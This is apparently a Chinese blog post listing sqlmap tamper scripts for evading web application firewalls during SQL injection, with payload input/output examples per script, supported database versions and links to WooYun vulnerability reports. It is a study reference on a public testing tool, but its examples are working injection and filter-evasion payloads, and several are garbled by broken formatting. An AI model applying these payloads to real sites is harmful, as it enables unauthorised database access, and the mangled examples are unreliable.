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sqlmap 繞過防火牆的tamper腳本大全0x01 start

sqlmap中的tamper腳本來對目标進行更高效的攻擊。

由于烏雲知識庫少了sqlmap-tamper 收集一下,友善學習。 根據sqlmap中的tamper腳本可以學習過繞過一些技巧。 我收集在找相關的案例作為可分析什麼環境使用什麼tamper腳本。 國小生畢業的我,着能偷偷說一下多做一些收集對吸收知識很快。

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腳本名:apostrophemask.py

作用:用utf8代替引号

1

Example: (

"1 AND '1'='1"

) '1 

AND

%EF%BC%871%EF%BC%87=%EF%BC%871'

Tested against: all

腳本名:equaltolike.py

作用:like 代替等号

1 2 3 4 5

Example:

*   Input: 

SELECT

FROM

users 

WHERE

id=1

*   

Output

SELECT

FROM

users 

WHERE

id 

LIKE

1

案例一: http://wooyun.org/bugs/wooyun-2010-087296

案例二: http://wooyun.org/bugs/wooyun-2010-074790

案例三:http://wooyun.org/bugs/wooyun-2010-072489

腳本名:space2dash.py

作用:繞過過濾‘=’ 替換空格字元(”),(’ – ‘)後跟一個破折号注釋,一個随機字元串和一個新行(’ n’)

1

Example: (

'1 AND 9227=9227'

'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'

Tested against: * MSSQL * SQLite

案例一:http://wooyun.org/bugs/wooyun-2010-062878

腳本名:greatest.py

作用:繞過過濾’>’ ,用GREATEST替換大于号。

1

Example: (

'1 AND A > B'

'1 AND GREATEST(A,B+1)=A'

Tested against: * MySQL 4, 5.0 

and

5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0

腳本名:space2hash.py

作用:空格替換為#号 随機字元串 以及換行符

1 2 3 4

Example:

*   Input: 1 

AND

9227=9227

*   

Output

: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement:

  • MySQL Tested against:
  • MySQL 4.0, 5.0

參考:法克的一篇文章

腳本名:apostrophenullencode.py

作用:繞過過濾雙引号,替換字元和雙引号。

1

Example: tamper(

"1 AND '1'='1"

) '1 

AND

%00%271%00%27=%00%271'

Tested against:

  • MySQL 4, 5.0 and 5.5
  • Oracle 10g
  • PostgreSQL 8.3, 8.4, 9.0

腳本名:halfversionedmorekeywords.py

作用:當資料庫為mysql時繞過防火牆,每個關鍵字之前添加mysql版本評論

1 2 3

Example:

(

"value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa"

"value'--'

Requirement: * MySQL

Tested against:

  • MySQL 5.0

腳本名:space2mysqlblank.py

作用:空格替換其它空白符号(mysql)

1 2 3 4 5

Example:

* Input: 

SELECT

id 

FROM

users

Output

SELECT

%0Bid%0BFROM%A0users

Requirement:

  • MySQL

Tested against:

  • MySQL 5.1

案例一:wooyun.org/bugs/wooyun-2010-076735

腳本名:between.py

作用:用between替換大于号(>)

1

Example: (

'1 AND A > B--'

'1 AND A NOT BETWEEN 0 AND B--'

Tested against:

  • Microsoft SQL Server 2005
  • MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0

案例一:wooyun.org/bugs/wooyun-2010-068815

腳本名:space2mysqldash.py

作用:替換空格字元(”)(’ – ‘)後跟一個破折号注釋一個新行(’ n’)

注:之前有個mssql的 這個是mysql的

1

Example: (

'1 AND 9227=9227'

'1--%0AAND--%0A9227=9227'

Requirement:

  • MySQL
  • MSSQL

腳本名:multiplespaces.py

作用:圍繞SQL關鍵字添加多個空格

1

Example: (

'1 UNION SELECT foobar'

'1 UNION SELECT foobar'

Tested against: all

案例一: wooyun.org/bugs/wooyun-2010-072489

腳本名:space2plus.py

作用:用+替換空格

1

Example: (

'SELECT id FROM users'

'SELECT+id+FROM+users'

Tested against: 

all

腳本名:bluecoat.py

作用:代替空格字元後與一個有效的随機空白字元的SQL語句。 然後替換=為like

1

Example: (

'SELECT id FROM users where id = 1'

'SELECT%09id FROM users where id LIKE 1'

Tested against:

  • MySQL 5.1, SGOS

腳本名:nonrecursivereplacement.py

雙重查詢語句。取代predefined SQL關鍵字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters

1

Example: (

'1 UNION SELECT 2--'

'1 UNIOUNIONN SELESELECTCT 2--'

Tested against: 

all

腳本名:space2randomblank.py

作用:代替空格字元(“”)從一個随機的空白字元可選字元的有效集

1

Example: (

'SELECT id FROM users'

'SELECT%0Did%0DFROM%0Ausers'

Tested against: all

腳本名:sp_password.py

作用:追加sp_password’從DBMS日志的自動模糊處理的有效載荷的末尾

1

Example: (

'1 AND 9227=9227-- '

'1 AND 9227=9227-- sp\_password'

Requirement: * MSSQL

腳本名:chardoubleencode.py

作用: 雙url編碼(不處理以編碼的)

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Example:

* Input: 

SELECT

FIELD 

FROM

%20TABLE

Output

: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

腳本名:unionalltounion.py

作用:替換UNION ALL SELECT UNION SELECT

Example: ('-1 UNION ALL SELECT') '-1 UNION SELECT'

Requirement: all

腳本名:charencode.py

作用:url編碼

1 2 3 4 5

Example:

*   Input: 

SELECT

FIELD 

FROM

%20TABLE

*   

Output

: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

tested against:

  • Microsoft SQL Server 2005
  • MySQL 4, 5.0 and 5.5
  • Oracle 10g
  • PostgreSQL 8.3, 8.4, 9.0

腳本名:randomcase.py

作用:随機大小寫 Example:

  • Input: INSERT
  • Output: InsERt

Tested against:

  • Microsoft SQL Server 2005
  • MySQL 4, 5.0 and 5.5
  • Oracle 10g
  • PostgreSQL 8.3, 8.4, 9.0

腳本名:unmagicquotes.py

作用:寬字元繞過 GPC addslashes

1 2 3 4 5

Example:

* Input: 1′ 

AND

1=1

Output

: 1%bf%27 

AND

1=1–%20

腳本名:randomcomments.py

作用:用分割sql關鍵字

1 2 3

Example:

INSERT

’ becomes ‘

IN

//S//ERT’

腳本名:charunicodeencode.py

作用:字元串 unicode 編碼

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Example:

* Input: 

SELECT

FIELD%20FROM 

TABLE

Output

: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

Requirement:

  • ASP
  • ASP.NET

Tested against:

  • Microsoft SQL Server 2000
  • Microsoft SQL Server 2005
  • MySQL 5.1.56
  • PostgreSQL 9.0.3

案例一: wooyun.org/bugs/wooyun-2010-074261

腳本名:securesphere.py

作用:追加特制的字元串

1

Example: (

'1 AND 1=1'

"1 AND 1=1 and '0having'='0having'"

Tested against: all

腳本名:versionedmorekeywords.py

作用:注釋繞過

1 2 3 4 5

Example:

* Input: 1 

UNION

ALL

SELECT

NULL

NULL

, CONCAT(

CHAR

(58,122,114,115,58),IFNULL(

CAST

(

CURRENT_USER

() 

AS

CHAR

),

CHAR

(32)),

CHAR

(58,115,114,121,58))#

Output

: 1,,((58,122,114,115,58),(

CAST

(()),(32)),(58,115,114,121,58))#

Requirement:

  • MySQL >= 5.1.13

腳本名:space2comment.py

作用:Replaces space character (‘ ‘) with comments ‘’

1 2 3 4 5

Example:

* Input: 

SELECT

id 

FROM

users

Output

SELECT

//id//

FROM

users

Tested against:

  • Microsoft SQL Server 2005
  • MySQL 4, 5.0 and 5.5
  • Oracle 10g
  • PostgreSQL 8.3, 8.4, 9.0

案例一:wooyun.org/bugs/wooyun-2010-046496

腳本名:halfversionedmorekeywords.py

作用:關鍵字前加注釋

1 2 3 4 5

Example:

* Input: value’ 

UNION

ALL

SELECT

CONCAT(

CHAR

(58,107,112,113,58),IFNULL(

CAST

(

CURRENT_USER

() 

AS

CHAR

),

CHAR

(32)),

CHAR

(58,97,110,121,58)), 

NULL

NULL

AND

‘QDWa’=

'QDWa

* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='

QDWa

Requirement:

  • MySQL < 5.1

Tested against:

  • MySQL 4.0.18, 5.0.22

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